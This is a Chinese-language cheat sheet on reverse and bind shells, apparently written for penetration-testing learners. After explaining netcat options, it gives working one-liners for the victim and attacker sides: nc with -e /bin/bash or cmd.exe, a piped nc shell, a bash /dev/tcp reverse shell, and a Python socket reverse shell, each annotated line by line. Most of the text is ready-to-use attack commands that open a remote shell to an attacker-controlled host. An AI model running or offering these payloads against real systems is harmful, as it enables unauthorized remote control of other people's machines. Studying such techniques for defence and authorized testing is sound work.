nc反弹shell用法
nc的选项
"-v"选项,输出详细信息,输入-vv,那么输出的信息将更多。
"-l"选项,进入监听模式
"-p"选项,指定本地端口
"-z"选项,连接成功后立即关闭连接,不进行数据交换,通常用来扫描。端口可以是单个的或范围内的。
"-i"选项,端口扫描时的时间间隔
"-w"选项,连接超时时间
-u选项,udp协议
"-n"选项,不反向查询IP对应的域名。
"-c"选项,指定shell命令,使用/bin/sh执行
"-e"选项,指定文件名,在连接后执行。
"-c"选项和"-e"选项,都可以指定/bin/bash来获取shell;如果是windows,我们可以"-e"选项指定执行cmd.exe来获取shell。
正向shell(bind shell)
靶机:nc -lvp x.x.x.x port [-c /bin/bash | -e /bin/bash | -ec:\windows\system32\cmd.exe]
攻击方:nc x.x.x.x port
反向shell(reverse shell)
靶机:nc x.x.x.x port [-c /bin/bash | -e /bin/bash | -ec:\windows\system32\cmd.exe]
攻击方:nc -lvp x.x.x.x port
需要注意的是,不管正向shell,还是反向shell,"-c"选项或"-e"选项都是添加在靶机这一侧。
正向和反向的区别,其实就是攻击方和靶机之间谁主动发起连接的区别。
攻击方主动去连接靶机为正向,shell绑定在靶机的监听端口,攻击方连接才能访问;靶机主动向攻击方发起连接请求为反向,靶机主动将自己的shell发送给攻击方。
使用管道符反弹
假如nc不支持 -e 指令就要使用linux的管道符来帮助反弹shell
靶机开启7777和8888的端口。
靶机:nc 192.168.169.128 7777|/bin/bash|192.168.169.128 8888
攻击方:nc -lvnp 7777
nc -lvnp 8888
解释:靶机先将7777端口接收来的指令信息重定向到bash中,将bash执行指令后的输出信息重定向到 8888端口,因此攻击方需双开窗口一个向7777发送指令信息,一个8888接收返回信息
bash反弹shell
靶机:bash -i &>/dev/tcp/ip/port 0>&1
攻击方:nc -lvn xxxx port
bash -i:产生一个交互式shell。&>:标准输出和标准错误输出都重定向到后面的对象。/dev/tcp/ip/port:与ip:port建立连接并传输数据。0>&1:将标准输入重定向到标准输出的位置。
/dev/tcp是Linux中的一个特殊文件,通过它打开套接字,与目标端口建立连接。
python反弹shell
靶机:python3 -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.5.123',7777));
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i'])"
攻击方:nc -lvnp 7777
解释:
# 导入所需要的os,socket,subprocess包
"import os,socket,subprocess;
# 创建一个tcp套接字
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
# 与目标ip 端口号建立tcp连接
s.connect(('192.168.5.123',7777));
# os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。
# 分别将标准输入,标准输出,标准错误输出重定向到远端的连接
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);
# 打开一个子进程以-i 交互的方式执行
p=subprocess.call(['/bin/bash','-i'])"